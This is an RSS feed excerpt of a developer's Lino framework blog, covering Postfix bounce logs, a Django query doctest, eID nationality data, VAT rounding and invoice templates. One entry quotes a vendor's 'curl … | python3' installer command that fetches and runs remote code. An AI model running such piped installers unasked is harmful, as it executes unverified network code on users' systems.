class="mf"&gt;0.26&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;5.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bounced&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="n"&gt;mx00&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emig&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gmx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;212.227.15.9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;said&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;550&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Requested&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;taken&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;unavailable&lt;/span&gt; &lt;span class="mi"&gt;550&lt;/span&gt; &lt;span class="n"&gt;Sender&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt; &lt;span class="n"&gt;MX&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reply&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;MAIL&lt;/span&gt; &lt;span class="n"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2124&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;E4AAEA46B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20200610155013.E4&lt;/span&gt;&lt;span class="n"&gt;AAEA46B&lt;/span&gt;&lt;span class="nd"&gt;@lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17652&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;E4AAEA46B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bounce&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2127&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;DE2A7D07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;delivery&lt;/span&gt; &lt;span class="n"&gt;notification&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;E4AAEA46B&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17652&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;DE2A7D07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2128&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;E4AAEA46B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@localhost&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.05&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;procmail&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;$EXTENSION&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17652&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;E4AAEA46B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.cyberciti.biz/faq/how-to-configure-postfix-relayhost-smarthost-to-send-email-using-an-external-smptd/"&gt;https://www.cyberciti.biz/faq/how-to-configure-postfix-relayhost-smarthost-to-send-email-using-an-external-smptd/&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="cannot-query-eleonora-must-be-client-instance"&gt;
&lt;h2&gt;Cannot query “Eleonora …”: Must be “Client” instance&lt;a class="headerlink" href="#cannot-query-eleonora-must-be-client-instance" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tonis and I also had a look at &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3683"&gt;#3683&lt;/a&gt; (Cannot query “Eleonora …”: Must
be “Client” instance.)&lt;/p&gt;
&lt;p&gt;The problem is reproducible in a doctest snippet:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_book.projects.avanti1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;robin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uploads&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Upload&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project__coachings_by_client__user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gt"&gt;Traceback (most recent call last):&lt;/span&gt;
&lt;span class="c"&gt;...&lt;/span&gt;
&lt;span class="gr"&gt;ValueError&lt;/span&gt;: &lt;span class="n"&gt;Cannot query &amp;quot;Robin Rood&amp;quot;: Must be &amp;quot;Client&amp;quot; instance.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Tonis observed that the problem “disappears” in the web client after the first
request. That is, when you invoke the same menu command a second time (within a
same runserver session), then the problem no longer occurs.&lt;/p&gt;
&lt;p&gt;In our doctest the problem  does &lt;em&gt;not&lt;/em&gt; disappear after the first request:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uploads&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Upload&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project__coachings_by_client__user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which means that something else makes it disappear… mysterious!&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0610.html</guid><pubDate>Wed, 10 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Sunday, June 7, 2020</title><link>https://luc.lino-framework.org/blog/2020/0607.html</link><description>&lt;section id="sunday-june-7-2020"&gt;
&lt;h1&gt;Sunday, June 7, 2020&lt;a class="headerlink" href="#sunday-june-7-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I slightly optimized the yearly blog index page (&lt;a class="reference external" href="https://atelier.lino-framework.org/sphinxext/index.html#directive-blogger_year" title="(in atelier v1.1)"&gt;&lt;code class="xref rst rst-dir docutils literal notranslate"&gt;&lt;span class="pre"&gt;blogger_year&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
directive) : add the date of each item of the “All entries” list. Have them
sorted newest first. No navigator when there is only one year.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0607.html</guid><pubDate>Sun, 07 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, June 6, 2020</title><link>https://luc.lino-framework.org/blog/2020/0606.html</link><description>&lt;section id="saturday-june-6-2020"&gt;
&lt;h1&gt;Saturday, June 6, 2020&lt;a class="headerlink" href="#saturday-june-6-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Johanna suggested that Lino should also read nationality of a Belgian EID card
holder. The problem with this is that this data is not very normalized. Lino
uses a field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;nationality&lt;/span&gt;&lt;/code&gt; which is a pointer to
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.places.Country&lt;/span&gt;&lt;/code&gt;. For a French citizen the value on the eid
card can be “Français”, “Française”, “Frans”, “Franzose”, “Französin”, “French”
depending on the sex and the issuing municipality.&lt;/p&gt;
&lt;p&gt;As a compromise I added a new database field
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.beid.BeIdHolder.nationality_text&lt;/span&gt;&lt;/code&gt;. (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3681"&gt;#3681&lt;/a&gt;)&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0606.html</guid><pubDate>Sat, 06 Jun 2020 00:00:00 +0000</pubDate></item><item><title>Friday, May 29, 2020</title><link>https://luc.lino-framework.org/blog/2020/0529.html</link><description>&lt;section id="friday-may-29-2020"&gt;
&lt;h1&gt;Friday, May 29, 2020&lt;a class="headerlink" href="#friday-may-29-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="exploring-laktor"&gt;
&lt;h2&gt;Exploring Laktor&lt;a class="headerlink" href="#exploring-laktor" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I stumbled once more into the Lektor static site generator, and gave it another
try.&lt;/p&gt;
&lt;p&gt;In the &lt;a class="reference external" href="https://www.getlektor.com/docs/installation/"&gt;installation instructions&lt;/a&gt; they ask me to run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;curl&lt;/span&gt;
&lt;span class="pre"&gt;-sf&lt;/span&gt; &lt;span class="pre"&gt;https://www.getlektor.com/installer.py&lt;/span&gt; &lt;span class="pre"&gt;|&lt;/span&gt; &lt;span class="pre"&gt;python3&lt;/span&gt;&lt;/code&gt;. But I prefer to say
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;lektor&lt;/span&gt;&lt;/code&gt; instead. Is there something wrong with that?  Yes, as
they say: “Lektor actively manages virtualenvs for plugin installations in very
specific ways and this might or might not work in your setup. We support pip
installations for deployment environments and local development only.”&lt;/p&gt;
&lt;p&gt;My next page was &lt;a class="reference external" href="https://www.getlektor.com/docs/quickstart/"&gt;Quickstart&lt;/a&gt;.
Great.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.getlektor.com/docs/project/structure/"&gt;https://www.getlektor.com/docs/project/structure/&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="about-rounding"&gt;
&lt;h2&gt;About rounding&lt;a class="headerlink" href="#about-rounding" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had a look into &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3662"&gt;#3662&lt;/a&gt; and noticed that the original problem is not
directly reproducible:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.accounting.utils&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;myround&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="mf"&gt;1487.50&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;0.21&lt;/span&gt;
&lt;span class="go"&gt;312.375&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myround&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;312.375&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="go"&gt;312.38&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The problem is that Lino computes and rounds the VAT amount for every item. And
consequently the total of VAT amounts is not necessarily the same as the VAT of
the total amount.  This situation is actually legally okay (as far as I
remember).&lt;/p&gt;
&lt;p&gt;Furthermore I realized that the item_vat option must be configurable per
journal. Having it as a global parameter won’t be enough because in a salespoint
invoice we will want it to be True while in a b2b sales invoice we want it
False.  And in a purchase invoice we sometimes want to manually adjust the VAT
amount because each vendor’s accounting system might have its own rounding
philosophy (per item or not)&lt;/p&gt;
&lt;p&gt;One solution might be to add an option “re-compute VAT per invoice”. If that
option is set, Lino would do another loop over the dict returned by
:meth:’get_payable_sums_dict’ where the VAT amount would be computed from the
total base amount.  This would mean that the VAT amounts of the individual items
are “just informative”.&lt;/p&gt;
&lt;p&gt;To be meditated.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0529.html</guid><pubDate>Fri, 29 May 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, May 28, 2020</title><link>https://luc.lino-framework.org/blog/2020/0528.html</link><description>&lt;section id="thursday-may-28-2020"&gt;
&lt;h1&gt;Thursday, May 28, 2020&lt;a class="headerlink" href="#thursday-may-28-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I pushed my changes of the last days to master in etgen, lino, xl and book.&lt;/p&gt;
&lt;p&gt;The test suites are passing except one case in book, which I don’t feel
responsible.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0528.html</guid><pubDate>Thu, 28 May 2020 00:00:00 +0000</pubDate></item><item><title>Monday, May 25, 2020</title><link>https://luc.lino-framework.org/blog/2020/0525.html</link><description>&lt;section id="monday-may-25-2020"&gt;
&lt;h1&gt;Monday, May 25, 2020&lt;a class="headerlink" href="#monday-may-25-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0525.html</guid><pubDate>Mon, 25 May 2020 00:00:00 +0000</pubDate></item><item><title>Friday, May 22, 2020</title><link>https://luc.lino-framework.org/blog/2020/0522.html</link><description>&lt;section id="friday-may-22-2020"&gt;
&lt;h1&gt;Friday, May 22, 2020&lt;a class="headerlink" href="#friday-may-22-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am playing with the invoice template in different sites. A new test project
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.confdirs&lt;/span&gt;&lt;/code&gt; is now used for doctests in
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/config_dirs.html#config-dirs" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Introduction to config  directories&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I wanted to have a way to quickly get an overview of certain site settings and
wrote the new &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;status&lt;/span&gt;&lt;/code&gt; command.&lt;/p&gt;
&lt;p&gt;I added a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/config_dirs.html#term-local-configuration-directory" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;local configuration directory&lt;/span&gt;&lt;/a&gt; to &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cosi1&lt;/span&gt;&lt;/code&gt;
with a custom logo.&lt;/p&gt;
&lt;p&gt;I added a section &lt;a class="reference external" href="https://dev.lino-framework.org/specs/weasyprint.html#specs-weasyprint-logo" title="(in Lino Developer Guide)"&gt;&lt;span&gt;How to customize your logo in the header or footer&lt;/span&gt;&lt;/a&gt; to the docs.
I extended the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/config_dirs.html#config-dirs" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Introduction to config  directories&lt;/span&gt;&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/specs/weasyprint.html#xfile-weasyprint-base.weasy.html" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;weasyprint/base.weasy.html&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; template contains
among others:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="n"&gt;logo_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find_config_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;logo.jpg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;weasyprint&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
